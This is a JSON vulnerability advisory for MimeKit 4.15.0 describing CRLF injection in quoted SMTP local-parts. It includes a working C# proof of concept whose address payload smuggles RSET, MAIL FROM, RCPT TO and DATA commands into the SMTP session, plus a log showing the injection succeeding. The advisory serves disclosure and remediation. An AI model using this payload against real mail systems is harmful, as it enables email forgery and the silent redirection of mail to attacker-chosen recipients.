Vulnerabilities in pkg:nuget/MimeKit

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-g7hc-96xr-gvvx",
  "modified" : "2026-03-06T22:52:51Z",
  "published" : "2026-03-05T21:50:44Z",
  "aliases" : [ "CVE-2026-30227" ],
  "summary" : "MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery",
  "details" : "### Summary\nA CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed `\\r\\n` into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional `RCPT TO` / `DATA` / `RSET` commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a `MailboxAddress` (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.\n\nRFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside `Quoted-string` (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by `<CRLF>`, making CRLF injection in command arguments particularly dangerous.\n\n### Details\n\n#### 1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string\n\nRFC 5321 defines:\n\n```text\nmail = \"MAIL FROM:\" Reverse-path [SP Mail-parameters] CRLF\n\nReverse-path = Path / \"<>\"\nPath         = \"<\" [ A-d-l \":\" ] Mailbox \">\"\nA-d-l        = At-domain *( \",\" At-domain )\nAt-domain    = \"@\" Domain\n\nMailbox         = Local-part \"@\" ( Domain / address-literal )\nLocal-part      = Dot-string / Quoted-string\n\nDot-string      = Atom *(\".\" Atom)\nAtom            = 1*atext\natext = ALPHA / DIGIT / \n        \"!\" / \"#\" / \"$\" / \"%\" / \"&\" / \"'\" / \"*\" / \"+\" / \"-\" / \"/\" / \n        \"=\" / \"?\" / \"^\" / \"_\" / \"`\" / \"{\" / \"|\" / \"}\" / \"~\"\n\n\nQuoted-string   = DQUOTE *QcontentSMTP DQUOTE\nQcontentSMTP    = qtextSMTP / quoted-pairSMTP\nquoted-pairSMTP = %d92 %d32-126\nqtextSMTP       = %d32-33 / %d35-91 / %d93-126\n```\n\nWhen the local part is a quoted string, the characters <CR> and <LF> are not allowed.\n\n#### 2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)\n\nIn the MimeKit 4.15.0 version, when parsing the local part, the <CR> and <LF> characters in the double-quoted form will not be detected.\nAs a result, `MailboxAddress` can accept addresses like `\"attacker\\r\\nRCPT TO:<victim@target>\\r\\n\"@example.com` as a valid address.\n\n#### 3) Affected components / versions\n\n- MimeKit 4.15.0 (as tested)\n- MailKit 4.15.0 uses/depends on MimeKit 4.15.0\nAny application that:\n- Accepts untrusted input for sender/recipient addresses, and\n- Constructs `MailboxAddress` from that input, and\n- Sends via SMTP (e.g., using MailKit SmtpClient),\nmay be impacted.\n\n### PoC\n\nEnvironment:\n- .NET SDK: 8.0.418\n- Target Framework: net8.0\n- Packages: MailKit 4.15.0 (with MimeKit 4.15.0)\n- Use ProtocolLogger to capture the SMTP session and confirm injection.\n\n1) Create a minimal project:\n\nmimekit_poc.csproj\n```xml\n<Project Sdk=\"Microsoft.NET.Sdk\">\n\n  <PropertyGroup>\n    <OutputType>Exe</OutputType>\n    <TargetFramework>net8.0</TargetFramework>\n    <ImplicitUsings>enable</ImplicitUsings>\n    <Nullable>enable</Nullable>\n  </PropertyGroup>\n\n  <ItemGroup>\n    <PackageReference Include=\"MailKit\" Version=\"4.15.0\" />\n  </ItemGroup>\n</Project>\n````\n\n2. PoC program (replace SMTP host/port/address as needed):\n\n```csharp\nusing MailKit.Net.Smtp;\nusing MailKit.Security;\nusing MailKit;\nusing MimeKit;\n\n// === payload and target setting ===\n\nvar smtpHost = \"xx.xx.xx.xx\";\nvar smtpPort = 25;\nvar useTls = false;\n// attack in `MAIL FROM` cmd with address grammar in double quote \nvar payloadEvilMailFromInput = \"\\\"attack\\r\\nRSET\\r\\nMAIL FROM:<kc1zs4@poc.send.com>\\r\\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\\r\\nDATA\\r\\n.\\r\\nQUIT\\r\\nhere\\\"@poc.send.com\";\n// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt\nvar logDir = Path.Combine(AppContext.BaseDirectory, \"log\");\nDirectory.CreateDirectory(logDir);\nvar timestamp = DateTime.Now.ToString(\"yyyyMMdd_HHmmss_fff\");\nvar logPath = Path.Combine(logDir, $\"smtp_log_{timestamp}\");\n\n\n// === below smtp session ===\n// mimekit api\n\nvar envelopeFrom = new MailboxAddress(\"\", payloadEvilMailFromInput);\nvar envelopeRcpt = new MailboxAddress(\"\", \"\\\"kc1zs4\\\"@poc.recv.com\");\nvar headerFrom = new MailboxAddress(\"Sender\", \"kc1zs4@poc.send.com\");\nvar headerTo = new MailboxAddress(\"Recipient\", \"kc1zs4@poc.recv.com\");\n\nvar message = new MimeMessage();\nmessage.From.Add(headerFrom);\nmessage.To.Add(headerTo);\nmessage.Subject = \"mimekit CRLF injection poc\";\nmessage.Body = new TextPart(\"plain\") { Text = \"Hello from MimeKit 4.15.0\" };\n\ntry {\n    using var protocolLogger = new ProtocolLogger(logPath);\n    using var client = new SmtpClient(protocolLogger);\n\n    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;\n    client.Connect(smtpHost, smtpPort, socketOption);\n\n    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });\n    client.Disconnect(true);\n\n    Console.WriteLine(\"[+] successfully send mail\");\n    Console.WriteLine($\"[+] view smtp session log at: {logPath}\");\n\n} catch (SmtpCommandException ex) {\n\n    Console.Error.WriteLine($\"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n\n} catch (SmtpProtocolException ex) {\n\n    Console.Error.WriteLine($\"[!] smtp protocol err: {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n\n} catch (Exception ex) {\n\n    Console.Error.WriteLine($\"[!] unknown err: {ex.Message}\");\n    Console.Error.WriteLine($\"[!] view smtp session log at: {logPath}\");\n    Environment.ExitCode = 1;\n}\n```\n\n3. Expected result\n\n* `MailboxAddress` accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.\n* The generated SMTP session (captured by ProtocolLogger) shows the `MAIL FROM` line being split by the injected CRLF, followed by attacker-controlled SMTP commands.\n* `tcpdump` also shows the same raw SMTP stream (optional confirmation).\n\nExample (illustrative) excerpt from smtp session log showing the CRLF injection effect:\n\n```txt\nConnected to smtp://xxx.xxx.xxx.xxx:25/\nS: 220 xxx Axigen ESMTP ready\nC: EHLO KC1zs4-TPt14p\nS: 250-xxx Axigen ESMTP hello\nS: 250-PIPELINING\nS: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI\nS: 250-8BITMIME\nS: 250-SIZE 10485760\nS: 250-HELP\nS: 250 OK\nC: MAIL FROM:<\"attack\nC: RSET\nC: MAIL FROM:<kc1zs4@poc.send.com>\nC: RCPT TO:<xxx@xxx.xxx.xxx.xxx>\nC: DATA\nC: .\nC: QUIT\nC: here\"@poc.send.com> SIZE=293\nC: RCPT TO:<\"kc1zs4\"@poc.recv.com>\nS: 553 Invalid mail address\nS: 250 Reset done\nS: 250 Sender accepted\nS: 250 Recipient accepted\nS: 354 Ready to receive data; remember <CRLF>.<CRLF>\nS: 250 Mail queued for delivery\nS: 221-xxx Axigen ESMTP is closing connection\nS: 221 Good bye\nC: RSET\n```\n\nNotes:\n\n* Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via `MailboxAddress`) is sufficient to demonstrate the vulnerability class and protocol non-compliance.\n* SMTP commands are terminated by `<CRLF>`, so CRLF-in-argument is structurally hazardous by design.\n\n### Impact\n\nVulnerability class:\n\n* SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).\n* Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).\n\nWho is impacted:\n\n* Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).\n\nPotential consequences:\n\n* Add or modify SMTP recipients by injecting extra `RCPT TO` commands (mail redirection / data exfiltration).\n* Corrupt the SMTP transaction state (`RSET`, `NOOP`, etc.) or attempt early `DATA` injection (server-dependent).\n* In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).\n* Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.\n\nSuggested remediation (high level):\n\n* Reject `\\r` and `\\n` in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.\n* Align quoted local-part parsing with RFC 5321’s `qtextSMTP` and `quoted-pairSMTP` ranges (no control characters).",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "NuGet",
      "name" : "MimeKit"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.15.1"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.15.0"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/jstedfast/MimeKit/security/advisories/GHSA-g7hc-96xr-gvvx"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30227"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/jstedfast/MimeKit"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-93" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-05T21:50:44Z",
    "nvd_published_at" : "2026-03-06T21:16:16Z"
  }
}